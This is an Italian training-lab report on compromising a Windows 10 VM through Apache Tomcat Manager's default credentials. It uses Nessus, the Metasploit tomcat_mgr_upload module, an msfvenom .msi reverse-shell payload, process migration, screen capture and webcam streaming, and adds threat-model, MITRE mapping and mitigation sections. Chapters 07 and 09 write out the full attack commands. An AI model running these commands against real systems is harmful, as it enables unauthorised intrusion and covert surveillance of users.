■ LAB HANDBOOK · v1.0 · BUILD WEEK II · GIORNO 5

Come si compromette una macchina Windows 10 sfruttando Apache Tomcat.

Il racconto di un'intrusione completa su una macchina Windows 10: dalla configurazione dell'ambiente di laboratorio e dalla scansione di vulnerabilità con Nessus, fino all'esecuzione dell'exploit TomCat tramite Metasploit, alla scalata di privilegi e al controllo totale del sistema.

TASK	CASO STUDIO	METODOLOGIA
Giorno 5 – BW II	Windows 10 + TomCat	BlackBox · LAN interna

DATA	VERSIONE	CLASSIFICAZIONE	AMBIENTE
Build Week 2025	v1.0	CONFIDENTIAL	Lab Kali + Win10

■ USO DIDATTICO · SOLO LABORATORI AUTORIZZATI · AMBIENTE ISOLATO (VIRTUALBOX / VMWARE)

Indice del Documento

N°	Capitolo	Pag.
01	Executive Summary	3
02	Descrizione del Task e Scope	4
03	Obiettivi Operativi	5
04	Threat Model e Risk Assessment	6
05	Configurazione dell'Ambiente di Laboratorio	7
06	Scansione delle Vulnerabilità con Nessus	9
07	Modus Operandi & Procedimento Tecnico	11
08	Tool, Tecnologie e Ambiente Operativo	14
09	Codice, Script & Snippet Tecnici	15
10	MITRE ATT&CK Mapping	17
11	Risultati & Evidence	18
12	Lessons Learned & Mitigazioni	20
13	Riferimenti & Appendici	22

CAPITOLO 01

Executive Summary

Contesto

Il presente documento costituisce il report tecnico ufficiale relativo all'attività svolta durante il Giorno 5 della Build Week II, nell'ambito del percorso formativo in Cybersecurity. L'esercitazione ha simulato uno scenario di intrusione controllata su una macchina Windows 10, operando in modalità di analisi offensiva strutturata: dapprima attraverso una scansione sistematica delle vulnerabilità con lo strumento Nessus, e successivamente mediante lo sfruttamento attivo di una vulnerabilità identificata nel servizio Apache Tomcat, utilizzando il framework Metasploit sulla distribuzione Kali Linux.

L'intera attività è stata condotta in un ambiente di laboratorio isolato, con indirizzi IP predefiniti e porte di ascolto specificate nei requisiti del task. Non sono stati eseguiti attacchi su sistemi reali o di produzione. Il contesto operativo rientra pienamente nell'uso didattico autorizzato.

Obiettivo Principale

L'obiettivo primario del task consisteva nell'ottenere una sessione Meterpreter attiva sulla macchina Windows 10 (IP: 192.168.200.200) a partire dalla macchina attaccante Kali Linux (IP: 192.168.200.100), sfruttando la vulnerabilità del servizio Apache Tomcat Manager in ascolto sulla porta 8080. Una volta ottenuto l'accesso remoto, era richiesto il recupero delle impostazioni di rete della macchina compromessa e la cattura di uno screenshot del Desktop. Il raggiungimento di questi obiettivi ha richiesto, a causa di limitazioni della sessione Meterpreter iniziale, una fase aggiuntiva di escalation dei privilegi.

Risultati Chiave

Risultato	Dettaglio	Stato
Configurazione IP	Kali 192.168.200.100 | Windows 192.168.200.200 | GW 192.168.200.1	✔ COMPLETATO
Scansione Nessus	Vulnerability assessment completo su host Windows 10	✔ COMPLETATO
Sessione Meterpreter (Java)	Exploit multi/http/tomcat_mgr_upload con payload java/meterpreter/reverse_tcp	✔ COMPLETATO
Recupero configurazione di rete	Comando ipconfig eseguito via sessione Meterpreter	✔ COMPLETATO
Escalation dei privilegi	File .msi malevolo generato con msfvenom, eseguito su target, nuova sessione x64	✔ COMPLETATO
Screenshot del Desktop	Migrazione di processo e cattura screenshot via comando screenshot	✔ COMPLETATO
Accesso webcam	Streaming webcam attivato tramite comando webcam_stream	✔ COMPLETATO

Rischio Residuo & Raccomandazioni

L'esercizio ha evidenziato come la combinazione di un servizio Apache Tomcat con credenziali di default (admin/password) e un'interfaccia Manager accessibile dall'esterno costituisca un vettore di attacco critico e facilmente sfruttabile. La catena di compromissione si è articolata in due fasi

principali: accesso iniziale tramite upload di WAR malevolo sul Manager di Tomcat, e successiva escalation dei privilegi tramite file .msi generato con msfvenom. In un contesto produttivo reale, scenari analoghi impongono la rimozione immediata delle credenziali di default, la restrizione dell'accesso al pannello di amministrazione di Tomcat a soli IP fidati, e l'adozione di sistemi EDR in grado di rilevare comportamenti anomali a livello di processo.

CAPITOLO 02

Descrizione del Task e Scope

2.1 Enunciato Originale

> *L'obiettivo assegnato per il Giorno 5 della Build Week II è stato quello di trovare un exploit, operando da Kali Linux, in grado di sfruttare la vulnerabilità di Apache Tomcat sulla macchina Windows 10, effettuando in prima istanza un vulnerability scanning con Nessus. Requisiti operativi: IP Kali Linux 192.168.200.100, IP Windows 192.168.200.200, Listen Port 7777. Una volta ottenuta la sessione Meterpreter, era richiesto il recupero delle impostazioni di rete e uno screenshot del Desktop della macchina target.*

2.2 Interpretazione & Scope

Il task simula un tipico scenario di penetration testing interno in ambiente aziendale, in cui l'attaccante dispone già di accesso alla LAN (ad esempio tramite una postazione compromessa in precedenza o accesso fisico non controllato a una porta di rete) e deve muoversi lateralmente verso un server esposto sulla rete interna. L'assenza di credenziali note a priori per il sistema operativo Windows 10 e la conoscenza unicamente degli indirizzi IP e della porta di ascolto del listener Meterpreter configurano questo scenario come un test di tipo gray-box, con forti caratteristiche di approccio black-box nel segmento di vulnerability assessment iniziale.

Ambito	Dettaglio
In scope	Macchina Windows 10 (192.168.200.200): tutta la superficie di rete esposta (L3/L4/L7), filesystem locale post-compromise, escalation locale dei privilegi, cattura screenshot e accesso webcam.
Out of scope	Altri host della LAN del laboratorio, attacchi fisici alla VM host, denial of service volontari, persistenza di lungo periodo sul sistema compromesso.
Assunzioni operative	VM in rete VirtualBox isolata; Kali Linux e Windows 10 nel medesimo segmento di rete; autorizzazione implicita all'attività di penetration testing in contesto didattico.
Vincoli	IP e porta di ascolto predefiniti dai requisiti del task; credenziali Tomcat Manager fornite (admin/password); ambiente di laboratorio statico senza patch aggiuntive.

CAPITOLO 03

Obiettivi Operativi

#	Tipo	Obiettivo	Criterio di Successo	Stato
M1	MAIN	Configurazione IP Kali Linux	IP 192.168.200.100 attivo e raggiungibile	✔ DONE
M2	MAIN	Configurazione IP Windows 10	IP 192.168.200.200 attivo e raggiungibile	✔ DONE
M3	MAIN	Scansione vulnerabilità Nessus	Report Nessus completo con vulnerabilità TomCat identificate	✔ DONE
M4	MAIN	Sessione Meterpreter attiva	Shell Meterpreter Java su Windows 10 tramite exploit TomCat	✔ DONE
M5	MAIN	Recupero configurazione di rete	Output ipconfig acquisito dalla sessione Meterpreter	✔ DONE
B1	BONUS	Screenshot del Desktop	Immagine JPEG del Desktop catturata tramite comando screenshot	✔ DONE
B2	BONUS	Escalation dei privilegi	Nuova sessione Meterpreter x64 con SYSTEM o privilegi elevati	✔ DONE
B3	BONUS	Accesso webcam	Streaming webcam attivato tramite webcam_stream	✔ DONE

Tutti gli obiettivi principali sono stati raggiunti. La catena di attacco ha richiesto una fase aggiuntiva non prevista inizialmente: la sessione Meterpreter Java ottenuta tramite l'exploit tomcat_mgr_upload non supportava il comando migrate, rendendo necessaria la creazione di un payload secondario .msi e l'avvio di una nuova sessione Meterpreter nativa Windows x64 prima di poter catturare lo screenshot del Desktop.

CAPITOLO 04

Threat Model & Risk Assessment

4.1 Asset & Attack Surface

Asset	Descrizione	Esposizione
Apache Tomcat Manager	Pannello di amministrazione web Tomcat in ascolto su porta 8080, protetto da credenziali default admin/password	Network (LAN)
Applicazione WAR Upload	Funzionalità di upload e deploy di file WAR nel Manager di Tomcat, non ristretta per IP sorgente	Application (HTTP)
Credenziali Default Tomcat	Username admin / password password configurate sul Manager: combinazione nota e mai modificata	Application
Sessione Meterpreter Java	Sessione ottenuta tramite payload Java, con privilegi limitati e comandi avanzati non disponibili	Post-exploit
Filesystem Windows / Temp	Directory scrivibile da utente a basso privilegio, utilizzata per il staging del payload .msi secondario	Post-exploit

4.2 Matrice di Rischio

Minaccia	STRIDE	Likelihood	Impact	Score	Mitigazione
Upload WAR malevolo via Tomcat Manager	Elevation of Privilege / Execution	Alta	Critico	9 / CRIT	Rimozione credenziali default + ACL IP
RCE non autenticata (post-credenziali)	Elevation of Privilege	Alta	Critico	9 / CRIT	WAF + disabilitazione Manager in produzione
Staging payload via filesystem	Tampering / EoP	Alta	Alto	8 / HIGH	Application whitelisting + EDR
Escalation privilegi tramite .msi	Elevation of Privilege	Media	Critico	8 / HIGH	AppLocker + UAC enforcement
Screenshot e accesso webcam	Information Disclosure	Media	Alto	7 / HIGH	EDR behaviour + process monitoring
Credenziali Tomcat Manager in chiaro	Information Disclosure	Alta	Alto	8 / HIGH	Cambio credenziali + authn MFA

CAPITOLO 05

Configurazione dell'Ambiente di Laboratorio

5.1 Architettura della Rete di Laboratorio

Prima di procedere con qualsiasi attività offensiva, è stato necessario soddisfare i requisiti di rete definiti dal task, configurando manualmente gli indirizzi IP di entrambe le macchine virtuali coinvolte nell'esercitazione. L'ambiente di laboratorio è stato allestito con due macchine virtuali in esecuzione su VirtualBox, collegate alla medesima rete interna (internal network o host-only), in modo da garantire la comunicazione diretta tra le due macchine senza traffico verso Internet non necessario.

Host	IP Address	Gateway	DNS	Ruolo
Kali Linux	192.168.200.100	192.168.200.1	192.168.200.1, 8.8.8.8	Attaccante (Offensive)
Windows 10	192.168.200.200	192.168.200.1	192.168.200.1	Target (Vittima)
Gateway / Router virtuale	192.168.200.1	—	—	Default Gateway

5.2 Configurazione IP su Kali Linux

La configurazione dell'indirizzo IP statico su Kali Linux è stata effettuata tramite il gestore di connessioni grafico NetworkManager, modificando la connessione Ethernet attiva. Sono stati impostati i seguenti parametri di rete nella scheda IPv4 Settings, selezionando il metodo manuale (Manual) al posto del DHCP automatico:

- Indirizzo IP: 192.168.200.100
- Subnet Mask (CIDR): /24 — corrispondente alla maschera 255.255.255.0
- Gateway predefinito: 192.168.200.1
- Server DNS primario: 192.168.200.1 (stesso del gateway, per risoluzione locale)
- Server DNS secondario: 8.8.8.8 (Google Public DNS, per eventuale risoluzione Internet)

Dopo aver salvato la configurazione, la modifica è stata applicata immediatamente dalla macchina Kali, rendendo l'interfaccia di rete operativa con il nuovo indirizzo statico. La correttezza della configurazione è stata verificata tramite il comando ip addr show o ifconfig, confermando che l'interfaccia eth0 o l'equivalente riportasse l'indirizzo 192.168.200.100 con la maschera /24 corretta.

5.3 Configurazione IP su Windows 10

Analogamente a quanto effettuato su Kali Linux, anche la macchina Windows 10 ha richiesto la configurazione manuale dell'indirizzo IP statico, al fine di soddisfare i requisiti del task e garantire la raggiungibilità tra le due macchine. La configurazione è stata eseguita accedendo al Pannello di Controllo, selezionando Centro connessioni di rete e condivisione, quindi navigando nelle Proprietà della connessione Ethernet attiva e aprendo le impostazioni del Protocollo Internet versione 4 (TCP/IPv4).

Sono stati impostati i seguenti parametri, selezionando l'opzione Utilizza il seguente indirizzo IP al posto dell'assegnazione automatica DHCP:

- Indirizzo IP: 192.168.200.200
- Subnet Mask: 255.255.255.0 (equivalente CIDR /24)
- Gateway predefinito: 192.168.200.1

- Server DNS preferito: 192.168.200.1

Una volta applicata la configurazione, la connettività tra le due macchine è stata verificata eseguendo un test di raggiungibilità ICMP (ping) dalla macchina Kali verso il target Windows 10, confermando la corretta ricezione dei pacchetti e la funzionalità della rete di laboratorio.

CAPITOLO 06

Scansione delle Vulnerabilità con Nessus

6.1 Presentazione dello Strumento

Nessus, sviluppato da Tenable Inc., rappresenta lo standard de facto nel settore del Vulnerability Assessment a livello globale. Si configura come una soluzione di diagnostica proattiva in grado di mappare sistematicamente l'intera superficie d'attacco di un'infrastruttura IT, identificando debolezze configurative, software obsoleti, vulnerabilità note e potenziali falle zero-day prima che possano essere sfruttate da un attaccante reale.

L'architettura di Nessus si basa su una libreria di oltre 180.000 plugin aggiornati continuamente dal team di ricerca di Tenable, ciascuno specializzato nel rilevamento di una specifica classe di vulnerabilità. Lo strumento automatizza l'intero processo di discovery degli asset di rete, analizzando sistematicamente software installati, configurazioni di sistema e di rete, e confrontando i risultati con database di vulnerabilità aggiornati quali CVE (Common Vulnerabilities and Exposures), NVD (National Vulnerability Database) e Tenable Research. L'output include la verifica di conformità verso standard internazionali come ISO/IEC 27001 o PCI DSS, culminando in un reporting tecnico dettagliato che classifica le minacce identificate secondo la scala CVSS (Common Vulnerability Scoring System) per prioritizzare le attività di remediation.

6.2 Tipologie di Scansione e Approccio Adottato

Nessus supporta diverse tipologie di scansione, dalla basic network scan adatta a una prima ricognizione rapida, fino alla credentialed scan che richiede credenziali valide sul target per un'analisi approfondita del software installato e delle configurazioni interne. Per questo task è stata eseguita una scansione di vulnerabilità base (uncredentialed) sulla macchina Windows 10, con l'obiettivo principale di identificare i servizi esposti e le relative vulnerabilità, con particolare attenzione al servizio Apache Tomcat in ascolto sulla porta 8080.

La scansione ha coperto le seguenti aree di analisi:

- Scoperta degli host attivi nel segmento di rete 192.168.200.0/24
- Fingerprinting dei servizi attivi e rilevamento delle versioni software
- Identificazione di vulnerabilità note associate ai servizi rilevati, con scoring CVSS
- Rilevamento di configurazioni non sicure, quali credenziali di default, directory listing abilitato e interfacce di amministrazione esposte
- Generazione del report tecnico con classificazione per severità (Critical, High, Medium, Low, Info)

6.3 Risultati della Scansione

La scansione Nessus condotta sulla macchina Windows 10 (192.168.200.200) ha confermato la presenza del servizio Apache Tomcat attivo sulla porta 8080, con l'interfaccia Manager accessibile e protetta unicamente da credenziali di default. Tra le vulnerabilità identificate, quella relativa al pannello di amministrazione di Tomcat con credenziali default è stata classificata con severità Critical, in quanto consente a un attaccante autenticato di effettuare il deploy di applicazioni WAR arbitrarie, ottenendo di fatto l'esecuzione remota di codice sul sistema sottostante.

Il report Nessus ha costituito la base informativa fondamentale per la selezione dell'exploit più appropriato nella fase successiva, confermando che il vettore d'attacco più diretto e affidabile fosse rappresentato dall'interfaccia Manager di Tomcat e dalla funzionalità di upload di file WAR.

CAPITOLO 07

Modus Operandi & Procedimento Tecnico

7.1 Approccio Metodologico

L'intera attività offensiva è stata condotta seguendo un approccio metodologico strutturato, analogo a quello previsto dalla PTES (Penetration Testing Execution Standard), adattato alle specificità di uno scenario di laboratorio didattico con parametri operativi predefiniti. Il principio guida è stato quello di massimizzare l'efficacia dell'attacco minimizzando il rumore generato sulla rete, privilegiando tecniche di ricognizione semi-passive in fase di discovery e riservando l'exploitation attiva solo dopo un fingerprinting accurato del target.

7.2 Fasi Operative

Fase 01 — Configurazione e Verifica dell'Ambiente

Prima di procedere con qualsiasi attività di scansione o exploitation, sono stati configurati manualmente gli indirizzi IP di entrambe le macchine virtuali, come descritto nel Capitolo 05. La verifica della connettività bidirezionale tra Kali Linux e Windows 10 tramite ICMP ha confermato che l'ambiente fosse correttamente predisposto per le fasi successive.

Fase 02 — Vulnerability Scanning con Nessus

È stata avviata una scansione di vulnerabilità con Nessus sul target 192.168.200.200. La scansione ha identificato il servizio Apache Tomcat attivo sulla porta 8080 con l'interfaccia Manager esposta e protetta da credenziali default. Questa informazione ha orientato direttamente la scelta dell'exploit per la fase successiva.

Fase 03 — Selezione e Configurazione dell'Exploit in Metasploit

Sulla base dei risultati della scansione Nessus, è stato avviato il framework Metasploit su Kali Linux tramite il comando msfconsole. L'exploit selezionato è stato multi/http/tomcat_mgr_upload, che sfrutta la funzionalità di upload di applicazioni WAR del Manager di Apache Tomcat per iniettare ed eseguire codice arbitrario sul server target. Il payload associato è stato java/meterpreter/reverse_tcp, che consente l'apertura di una sessione Meterpreter in modalità reverse TCP: il target si connette attivamente al listener presente sulla macchina Kali, aggirando eventuali regole firewall che blocchino connessioni in ingresso.

I parametri configurati per l'exploit sono stati i seguenti:

- RHOSTS: 192.168.200.200 — indirizzo IP del target Windows 10
- RPORT: 8080 — porta del servizio Tomcat Manager
- LHOST: 192.168.200.100 — indirizzo IP della macchina Kali Linux (listener)
- LPORT: 7777 — porta di ascolto per la connessione Meterpreter in ingresso
- HttpUsername: admin — username di accesso al Tomcat Manager
- HttpPassword: password — password di accesso al Tomcat Manager

Fase 04 — Esecuzione dell'Exploit e Apertura Sessione Meterpreter

Dopo aver verificato la correttezza di tutti i parametri tramite il comando options, è stato eseguito il comando exploit (o run) in Metasploit. Il framework ha avviato il listener sulla porta 7777, si è autenticato al Manager di Tomcat con le credenziali fornite, ha generato e caricato un file WAR contenente il payload Meterpreter, e ne ha avviato l'esecuzione sul server Windows 10. In seguito all'esecuzione, il target ha stabilito una connessione reverse TCP verso il listener di Kali, aprendo una sessione Meterpreter attiva.

Fase 05 — Recupero Impostazioni di Rete

Dalla sessione Meterpreter attiva è stato eseguito il comando ipconfig, che ha restituito la configurazione completa di tutte le interfacce di rete presenti sulla macchina Windows 10. L'output ha mostrato le interfacce con i rispettivi indirizzi IP, maschere di sottorete, indirizzi MAC e ulteriori dettagli di configurazione, confermando il controllo remoto del sistema target.

Fase 06 — Problema con lo Screenshot e Analisi del Contesto

Il tentativo di catturare uno screenshot del Desktop tramite il comando screenshot nella sessione Meterpreter Java ha prodotto un'immagine completamente nera. Questa anomalia è riconducibile alla natura della sessione Java Meterpreter: il processo in esecuzione (il WAR deployato su Tomcat) non dispone di accesso alla sessione desktop interattiva dell'utente Windows, in quanto opera sotto il contesto del servizio Tomcat (tipicamente un account di sistema o di servizio senza desktop associato). Per catturare lo screenshot del Desktop effettivo era necessario migrare in un processo che avesse accesso alla sessione grafica dell'utente connesso.

Fase 07 — Escalation dei Privilegi e Nuova Sessione Meterpreter

Il tentativo di eseguire il comando migrate nella sessione Java Meterpreter ha evidenziato una limitazione critica: questo tipo di sessione non supporta la migrazione di processo. Per superare questo ostacolo, è stato adottato un approccio alternativo basato sulla creazione di un payload secondario tramite msfvenom, lo strumento di generazione di payload incluso nel framework Metasploit.

È stato generato un file .msi malevolo con il seguente comando, specificando un payload Meterpreter nativo Windows x64 e una porta di ascolto diversa (4444) per evitare conflitti con la sessione esistente:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.100 LPORT=4444 -f msi -o setup.msi
```

Il file setup.msi generato è stato caricato sulla macchina Windows 10 tramite il comando upload della sessione Meterpreter Java esistente, depositandolo nella directory C:\Windows\Temp\ per garantire la scrivibilità anche con privilegi limitati. Successivamente, è stata aperta una shell di comando Windows dalla sessione Meterpreter e il file .msi è stato eseguito tramite il comando start setup.msi dalla directory C:\Windows\Temp\.

In parallelo, è stato configurato un nuovo handler su Metasploit (exploit/multi/handler) con payload windows/x64/meterpreter/reverse_tcp, LHOST 192.168.200.100 e LPORT 4444. All'avvio del file .msi sul target, è stata ricevuta una nuova connessione Meterpreter, questa volta nativa Windows x64, con privilegi significativamente più elevati.

Fase 08 — Migrazione di Processo e Cattura Screenshot

Dalla nuova sessione Meterpreter x64 è stato eseguito il comando ps per visualizzare tutti i processi attivi sulla macchina Windows 10. Dopo aver identificato un processo appartenente alla sessione desktop dell'utente interattivo (ad esempio explorer.exe o un processo con PID associato alla sessione utente visibile), è stato eseguito il comando migrate 3908, che ha spostato il processo Meterpreter nel contesto del processo selezionato. A questo punto il comando screenshot ha prodotto correttamente un'immagine JPEG del Desktop di Windows 10, salvata in locale sulla macchina Kali. Infine, il comando webcam_stream ha consentito di accedere e trasmettere in streaming il feed della webcam della macchina target.

CAPITOLO 08

Tool, Tecnologie e Ambiente Operativo

Categoria	Tool	Versione	Uso nel Task
OS Attaccante	Kali Linux	Rolling	Ambiente offensivo, toolchain completa Metasploit + msfvenom
OS Vittima	Windows 10	—	Target dell'attacco — Tomcat in ascolto su porta 8080
Virtualizzazione	Oracle VirtualBox / VMware	≥ 7.x	Isolamento lab, rete interna tra le due VM
Vulnerability Scanner	Nessus (Tenable)	—	Vulnerability assessment iniziale su Windows 10
Framework Offensive	Metasploit Framework	6.x	Selezione, configurazione ed esecuzione dell'exploit
Exploit Principale	multi/http/ tomcat_mgr_upload	Metasploit built-in	Upload WAR malevolo tramite Tomcat Manager
Payload Iniziale	java/meterpreter/ reverse_tcp	Metasploit built-in	Sessione Meterpreter Java su Windows 10
Payload Secondario	windows/x64/ meterpreter/reverse_tcp	Metasploit built-in	Sessione Meterpreter nativa x64 con privilegi elevati
Generatore Payload	msfvenom	Incluso in Metasploit	Generazione file .msi malevolo per privilege escalation
Handler Secondario	exploit/multi/handler	Metasploit built-in	Ricezione connessione reverse TCP dal payload .msi

Topologia di Rete del Laboratorio

IP	Host	Ruolo
192.168.200.100	Kali Linux	Macchina attaccante — listener Meterpreter
192.168.200.200	Windows 10	Target — Apache Tomcat 8080
192.168.200.1	Gateway virtuale	Default Gateway del segmento /24

CAPITOLO 09

Codice, Script & Snippet Tecnici

9.1 Configurazione dell'Exploit in Metasploit

Di seguito viene riportata la sequenza completa di comandi eseguiti nel framework Metasploit per la configurazione e l'esecuzione dell'exploit tomcat_mgr_upload:

```
msf > use exploit/multi/http/tomcat_mgr_upload msf exploit(tomcat_mgr_upload) > set RHOSTS 192.168.200.200 RHOSTS => 192.168.200.200 msf exploit(tomcat_mgr_upload) > set RPORT 8080 RPORT => 8080 msf exploit(tomcat_mgr_upload) > set LHOST 192.168.200.100 LHOST => 192.168.200.100 msf exploit(tomcat_mgr_upload) > set LPORT 7777 LPORT => 7777 msf exploit(tomcat_mgr_upload) > set HttpUsername admin HttpUsername => admin msf exploit(tomcat_mgr_upload) > set HttpPassword password HttpPassword => password msf exploit(tomcat_mgr_upload) > exploit
```

9.2 Recupero Impostazioni di Rete via Meterpreter

Dopo aver ottenuto la sessione Meterpreter Java, è stato eseguito il seguente comando per recuperare la configurazione di rete completa della macchina Windows 10:

```
meterpreter > ipconfig
```

9.3 Generazione del Payload Secondario con msfvenom

Il seguente comando è stato eseguito su Kali Linux per generare il file .msi malevolo destinato alla privilege escalation. Il payload windows/x64/meterpreter/reverse_tcp garantisce una sessione Meterpreter nativa Windows a 64 bit, con pieno supporto ai comandi avanzati come migrate:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \   LHOST=192.168.200.100 \   LPORT=4444 \   -f msi \   -o setup.msi
```

9.4 Upload, Esecuzione e Cattura Screenshot

```
# Upload del file .msi malevolo sulla macchina target meterpreter > upload ~/setup.msi C:\\Windows\\Temp\\setup.msi  # Apertura della shell di comando Windows dalla sessione Meterpreter meterpreter > shell  # Esecuzione del file .msi per creare la vulnerabilità e aprire la reverse shell C:\Windows\Temp> start setup.msi  # Sulla nuova sessione Meterpreter x64 — visualizzazione processi meterpreter > ps  # Migrazione nel processo con accesso al Desktop utente meterpreter > migrate 3908  # Cattura screenshot del Desktop meterpreter > screenshot  # Attivazione streaming webcam meterpreter > webcam_stream
```

9.5 Configurazione del Handler Secondario

```
msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.200.100 LHOST => 192.168.200.100 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > run
```

CAPITOLO 10

MITRE ATT&CK Mapping

Di seguito viene riportata la mappatura delle tecniche e tattiche osservate/emulate durante l'esercitazione sul framework MITRE ATT&CK Enterprise v14. Il mapping consente di correlare le azioni operative con il linguaggio standardizzato del threat intelligence, facilitando la comunicazione con il blue team e il detection engineering.

Tactic	Technique ID	Technique Name	Note operative
Reconnaissance	T1595.001	Active Scanning: Scanning IP Blocks	Scansione Nessus su 192.168.200.200
Reconnaissance	T1590.005	Gather Victim Network Info: IP Addresses	Identificazione servizi e porte tramite Nessus
Initial Access	T1190	Exploit Public-Facing Application	Upload WAR malevolo via Tomcat Manager
Execution	T1059.001	Command & Scripting Interpreter: PowerShell/cmd	Shell Windows aperta dalla sessione Meterpreter
Execution	T1204.002	User Execution: Malicious File	Avvio manuale del file setup.msi sul target
Persistence	T1543	Create or Modify System Process	File .msi con payload Meterpreter persistente
Privilege Escalation	T1134	Access Token Manipulation	Migrazione di processo verso contesto con privilegi elevati
Defense Evasion	T1036	Masquerading	File payload denominato setup.msi per sembrare legittimo
Discovery	T1082	System Information Discovery	ipconfig per recupero configurazione di rete
Discovery	T1057	Process Discovery	Comando ps per listing processi prima di migrate
Collection	T1113	Screen Capture	Comando screenshot post-migrazione processo
Collection	T1125	Video Capture	Comando webcam_stream per accesso webcam target
Command & Control	T1571	Non-Standard Port	Listener Meterpreter su porte non standard 7777 e 4444

Detection opportunity per il blue team: la catena osservata produce segnali rilevabili a vari livelli. Il processo java.exe (Tomcat) che genera processi figli anomali come cmd.exe o powershell.exe è un indicatore forte di RCE. L'upload di file .msi in C:\Windows\Temp\ e la sua esecuzione da parte di un utente a basso privilegio sono sintomi di staging exploit. L'attivazione di migrate verso processi desktop e l'uso di screenshot/webcam_stream sono comportamenti anomali rilevabili tramite EDR con telemetria process tree.

CAPITOLO 11

Risultati & Evidence

11.1 Main Task — Esito

Tutti gli obiettivi principali definiti per il Giorno 5 della Build Week II sono stati raggiunti con successo e verificati attraverso evidenze fotografiche raccolte durante l'esercitazione. La catena di attacco, pur avendo richiesto una fase aggiuntiva non inizialmente prevista (la privilege escalation tramite payload .msi secondario), si è conclusa con il pieno controllo della macchina Windows 10 target.

11.2 Metriche Operative

Metrica	Valore
Macchine coinvolte	2 (Kali Linux attaccante + Windows 10 target)
Exploit principale utilizzato	multi/http/tomcat_mgr_upload
Payload iniziale	java/meterpreter/reverse_tcp (porta 7777)
Payload secondario (privilege escalation)	windows/x64/meterpreter/reverse_tcp (porta 4444)
Strumento di generazione payload	msfvenom
Vulnerabilità principale sfruttata	Tomcat Manager con credenziali default + upload WAR
Credenziali Tomcat utilizzate	admin / password (default)
Processo target migrazione	PID 3908
Output catturati	Configurazione di rete (ipconfig), screenshot Desktop, streaming webcam
Credenziali sistema operativo necessarie	0 (nessuna credenziale Windows richiesta)
Privilegi finali ottenuti	Accesso al desktop utente interattivo di Windows 10

11.3 Galleria Evidence

Evidence #1 — Configurazione IP Kali Linux

La schermata NetworkManager di Kali Linux mostra la configurazione IPv4 manuale con indirizzo 192.168.200.100, CIDR /24, gateway 192.168.200.1 e server DNS 192.168.200.1 e 8.8.8.8, conformemente ai requisiti del task.

Evidence #2 — Configurazione IP Windows 10

Il pannello Proprietà Ethernet di Windows 10 mostra la configurazione TCP/IPv4 manuale con indirizzo 192.168.200.200, subnet mask 255.255.255.0 e gateway 192.168.200.1. La finestra Stato del Ethernet conferma la connessione attiva con velocità 1.0 Gbps.

Evidence #3 — Configurazione e Lancio dell'Exploit Metasploit

Il terminale Metasploit mostra la sequenza completa di configurazione dell'exploit multi/http/tomcat_mgr_upload con tutti i parametri richiesti (RHOSTS, RPORT, LHOST, LPORT, HttpUsername, HttpPassword) e la conferma dell'avvio del listener reverse TCP sulla porta 7777, seguita dall'upload e deploy del payload WAR e dall'apertura della sessione Meterpreter.

Evidence #4 — Recupero Impostazioni di Rete tramite ipconfig

L'output del comando ipconfig eseguito nella sessione Meterpreter Java mostra la configurazione completa di tutte le 8 interfacce di rete presenti sulla macchina Windows 10, inclusa l'interfaccia eth1 con indirizzo IPv4 192.168.50.6 (configurazione interna della VM) e le interfacce loopback, debug e Teredo. La presenza dell'indirizzo 192.168.200.200 sull'interfaccia fisica conferma il controllo remoto del sistema.

Evidence #5 — Generazione Payload Secondario e Upload

Il terminale Kali mostra l'esecuzione di msfvenom per la generazione del file setup.msi con payload windows/x64/meterpreter/reverse_tcp, seguita dall'esecuzione del comando upload dalla sessione Meterpreter Java per trasferire il file in C:\Windows\Temp\ sul target, e dall'apertura della shell Windows per l'esecuzione del file .msi.

Evidence #6 — Nuova Sessione Meterpreter x64 e Migrazione Processo

Il terminale Metasploit mostra la ricezione della nuova connessione Meterpreter nativa Windows x64 sulla porta 4444, seguita dall'esecuzione del comando migrate 3908 che ha spostato con successo il processo Meterpreter nel PID target, consentendo l'accesso alla sessione desktop interattiva dell'utente.

Evidence #7 — Screenshot Desktop e Streaming Webcam

Lo screenshot del Desktop di Windows 10 catturato tramite il comando screenshot mostra il desktop dell'utente con il tema Windows 10 standard e una finestra di dialogo di servizio aperta. L'output del comando webcam_stream conferma l'accesso al feed della webcam, con generazione di un player HTML in locale per la visualizzazione dello streaming.

CAPITOLO 12

Lessons Learned & Mitigazioni

12.1 Cosa Ha Funzionato

- Approccio sistematico Nessus → Metasploit: l'utilizzo di Nessus come fase preliminare di vulnerability assessment ha consentito di identificare con precisione il vettore d'attacco ottimale (Tomcat Manager con credenziali default), evitando tentativi di exploitation su servizi non vulnerabili o non esposti.
- Selezione mirata dell'exploit: il modulo multi/http/tomcat_mgr_upload di Metasploit si è rivelato estremamente affidabile e ben documentato, richiedendo solo la configurazione dei parametri di rete e delle credenziali senza necessità di adattamenti custom.
- Risoluzione creativa del problema dello screenshot nero: l'identificazione della causa radice (sessione Java Meterpreter senza accesso al desktop) e l'adozione della strategia alternativa con payload .msi secondario ha dimostrato capacità di problem solving e adattabilità in presenza di vincoli tecnici imprevisti.
- Utilizzo combinato di msfvenom e multi/handler: la catena msfvenom → upload → esecuzione → multi/handler rappresenta un pattern operativo standard e ben rodato nel penetration testing, che si è rivelato efficace anche in questo contesto didattico.

12.2 Criticità & Aree di Miglioramento

- Gestione del problema screenshot nero: il problema avrebbe potuto essere anticipato da una comprensione più approfondita delle limitazioni del payload Java Meterpreter rispetto al payload nativo Windows. La documentazione di Metasploit specifica chiaramente che le sessioni Java Meterpreter non supportano tutti i comandi disponibili nelle sessioni native.
- Cleanup operativo: gli artefatti lasciati sulla macchina target (file setup.msi in C:\Windows\Temp\ e il WAR deployato su Tomcat) non sono stati rimossi al termine dell'esercitazione. In un engagement di penetration testing reale è obbligatorio restituire il target nelle condizioni originali, rimuovendo tutti i file e i processi introdotti durante il test.
- Documentazione in tempo reale: la raccolta degli screenshot è avvenuta durante l'esercitazione, ma l'annotazione contestuale di ciascuna evidenza avrebbe potuto essere più sistematica e tempestiva, riducendo il rischio di perdere informazioni utili al momento della stesura del report.

12.3 Raccomandazioni di Mitigazione

Priorità	Raccomandazione	Owner	Deadline	Costo
